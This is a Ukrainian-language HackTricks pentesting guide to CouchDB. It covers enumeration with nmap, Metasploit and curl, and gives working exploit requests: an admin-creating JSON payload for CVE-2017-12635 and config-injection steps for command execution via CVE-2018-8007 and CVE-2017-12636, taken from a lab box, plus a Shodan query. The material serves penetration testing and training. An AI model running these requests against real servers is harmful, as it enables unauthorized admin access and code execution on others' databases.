5984,6984 - Pentesting CouchDB

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

CouchDB - це універсальна та потужна документ-орієнтована база даних, яка організовує дані за допомогою структури ключ-значення всередині кожного документа. Поля всередині документа можуть бути представлені у вигляді пар ключ/значення, списків або карт, що забезпечує гнучкість у зберіганні та отриманні даних.

Кожному документу, збереженому в CouchDB, надається унікальний ідентифікатор (_id) на рівні документа. Крім того, кожна модифікація, зроблена та збережена в базі даних, отримує номер ревізії (_rev). Цей номер ревізії дозволяє ефективно відстежувати та керувати змінами, сприяючи легкому отриманню та синхронізації даних у межах бази даних.

Порт за замовчуванням: 5984 (http), 6984 (https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Автоматичне перелічення

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Ручне перелікування

Банер

curl http://IP:5984/

Це відправляє запит GET до встановленого екземпляра CouchDB. Відповідь повинна виглядати приблизно так, як один з наступних:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Зверніть увагу, що при доступі до кореня couchdb ви отримаєте 401 Unauthorized з чимось на зразок цього: {"error":"unauthorized","reason":"Authentication required."} ви не зможете отримати доступ до банера або будь-якого іншого кінцевого пункту.

Інформація про перелік

Це кінцеві точки, до яких ви можете отримати доступ за допомогою запиту GET та витягти деяку цікаву інформацію. Ви можете знайти більше кінцевих точок та більш детальні описи в документації couchdb.

  • /_active_tasks Список запущених завдань, включаючи тип завдання, назву, статус та ідентифікатор процесу.

  • /_all_dbs Повертає список всіх баз даних в екземплярі CouchDB.

  • /_cluster_setup Повертає статус вузла або кластера, згідно з майстром налаштування кластера.

  • /_db_updates Повертає список всіх подій баз даних в екземплярі CouchDB. Для використання цієї кінцевої точки потрібно наявність бази даних _global_changes.

  • /_membership Показує вузли, які є частиною кластера як cluster_nodes. Поле all_nodes показує всі вузли, які відомі цьому вузлу, включаючи ті, які є частиною кластера.

  • /_scheduler/jobs Список робочих завдань реплікації. Кожен опис завдання буде містити інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей.

  • /_scheduler/docs Список станів документів реплікації. Містить інформацію про всі документи, навіть у станах completed та failed. Для кожного документа повертається ідентифікатор документа, база даних, ідентифікатор реплікації, джерело та ціль та інша інформація.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} Кінцева точка /_node/{node-name} може бути використана для підтвердження імені вузла Erlang сервера, який обробляє запит. Це найбільш корисно при доступі до /_node/_local для отримання цієї інформації.

  • /_node/{node-name}/_stats Ресурс _stats повертає об'єкт JSON, що містить статистику для працюючого сервера. Літеральний рядок _local служить як псевдонім для локального імені вузла, тому для всіх URL статистики {node-name} можна замінити на _local, щоб взаємодіяти зі статистикою локального вузла.

  • /_node/{node-name}/_system Ресурс _system повертає об'єкт JSON, що містить різноманітну статистику на рівні системи для працюючого сервера_._ Ви можете використовувати ___local як {node-name} для отримання поточної інформації про вузол.

  • /_node/{node-name}/_restart

  • /_up Підтверджує, що сервер працює, готовий відповідати на запити. Якщо maintenance_mode є true або nolb, кінцева точка поверне відповідь 404.

  • /_uuids Запитує один або декілька унікальних ідентифікаторів (UUID) з екземпляра CouchDB.

  • /_reshard Повертає кількість завершених, не вдалося, запущених, зупинених та загальних завдань разом із станом перерозподілу в кластері.

Більше цікавої інформації можна витягнути, як пояснено тут: https://lzone.de/cheat-sheet/CouchDB

Список баз даних

curl -X GET http://IP:5984/_all_dbs

Якщо запит відповідає з 401 не авторизовано, тоді вам потрібні дійсні облікові дані, щоб отримати доступ до бази даних:

curl -X GET http://user:password@IP:5984/_all_dbs

Для пошуку дійсних облікових даних ви можете спробувати зламати службу.

Це приклад відповіді couchdb, коли у вас є достатньо привілеїв для переліку баз даних (це просто список баз даних):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Інформація про базу даних

Ви можете отримати деяку інформацію про базу даних (наприклад, кількість файлів та їх розміри), звернувшись до назви бази даних:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Список документів

Перерахуйте кожен запис у базі даних

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Читання документа

Прочитайте вміст документа у базі даних:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Підвищення привілеїв в CouchDB CVE-2017-12635

Благодаря різниці між парсерами JSON Erlang та JavaScript ви можете створити адміністратора з обліковими даними hacktricks:hacktricks за допомогою наступного запиту:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Додаткова інформація про цю уразливість тут.

CouchDB RCE

Приклад звідси.

У документації CouchDB, зокрема в розділі, що стосується налаштування кластера (посилання), обговорюється використання портів CouchDB у режимі кластера. Зазначається, що, як і в режимі автономної роботи, використовується порт 5984. Додатково, порт 5986 призначений для локальних API вузла, і, що важливо, Erlang вимагає TCP-порт 4369 для демона відображення портів Erlang (EPMD), який сприяє взаємодії вузлів у межах кластера Erlang. Ця настройка формує мережу, де кожен вузол пов'язаний з кожним іншим вузлом.

Виділяється важливе попередження щодо порту 4369. Якщо цей порт стане доступним через Інтернет або будь-яку ненадійну мережу, безпека системи в значній мірі залежатиме від унікального ідентифікатора, відомого як "cookie". Цей cookie виступає як захист. Наприклад, у даному списку процесів може бути помічено cookie з назвою "monster", що вказує на його робочу роль у системі безпеки.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Для тих, хто зацікавлений у розумінні того, як цей "cookie" може бути використаний для виконання коду на віддаленому сервері (RCE) в контексті систем Erlang, є окремий розділ для подальшого читання. Він детально описує методи використання cookie Erlang у несанкціонованих способах для отримання контролю над системами. Ви можете дізнатися більше про зловживання cookie Erlang для RCE тут.

Експлуатація CVE-2018-8007 шляхом зміни local.ini

Приклад тут.

Недавно опублікована уразливість, CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що для експлуатації потрібні права на запис у файл local.ini. Хоча це не застосовується безпосередньо до початкової цільової системи через обмеження безпеки, були внесені зміни для надання прав на запис у файл local.ini для дослідницьких цілей. Нижче наведено детальні кроки та приклади коду, що демонструють процес.

Спочатку середовище готується шляхом переконання, що файл local.ini доступний для запису, перевірено шляхом переліку дозволів:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Для використання вразливості виконується команда curl, спрямована на конфігурацію cors/origins в local.ini. Це додає новий початок разом з додатковими командами у розділі [os_daemons], спрямованих на виконання довільного коду:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Подальша перевірка показує внесену конфігурацію в local.ini, порівнюючи її з резервною копією, щоб виділити зміни:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Початково очікуваний файл (/tmp/0xdf) не існує, що свідчить про те, що викликана команда ще не виконана. Подальше розслідування показує, що працюють процеси, пов'язані з CouchDB, включаючи той, який може потенційно виконати викликану команду:

root@canape:/home/homer/bin# ps aux | grep couch

При завершенні ідентифікованого процесу CouchDB та дозволі системі автоматично перезапустити його, виконання впровадженої команди спрацьовує, що підтверджується наявністю раніше відсутнього файлу:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Це дослідження підтверджує можливість використання CVE-2018-8007 за певних умов, зокрема вимогу до доступу на запис до файлу local.ini. Надані приклади коду та процедурні кроки надають чітке керівництво для реплікації експлойту в контрольованому середовищі.

Для отримання додаткових відомостей про CVE-2018-8007, дивіться рекомендації від mdsec: CVE-2018-8007.

Дослідження CVE-2017-12636 з правами на запис у local.ini

Приклад звідси.

Була досліджена вразливість під назвою CVE-2017-12636, яка дозволяє виконання коду через процес CouchDB, хоча певні конфігурації можуть запобігти її використанню. Незважаючи на наявність численних посилань на Proof of Concept (POC) в Інтернеті, необхідні налаштування для використання вразливості в CouchDB версії 2, відмінної від загально цілей версії 1.x. Початкові кроки включають перевірку версії CouchDB та підтвердження відсутності очікуваного шляху запитів серверів:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Для пристосування до версії CouchDB 2.0 використовується новий шлях:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, як це вказано у наступному виводі:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Подальше розслідування виявило проблеми з дозволами у файлі local.ini, який не можна було змінювати. Змінивши дозволи файлу за допомогою доступу root або homer, стало можливим продовжити:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Після цього спроби додати запит сервера були успішними, як це підтверджується відсутністю повідомлень про помилки у відповіді. Успішне змінення файлу local.ini було підтверджено порівнянням файлів:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Процес продовжувався створенням бази даних та документа, за яким слідувала спроба виконати код через власне відображення виду, яке відповідає новій доданій серверній запиту:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

Опис з альтернативним пейлоудом надає додаткові відомості про експлуатацію CVE-2017-12636 в певних умовах. Корисні ресурси для експлуатації цієї вразливості включають:

Shodan

  • port:5984 couchdb

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated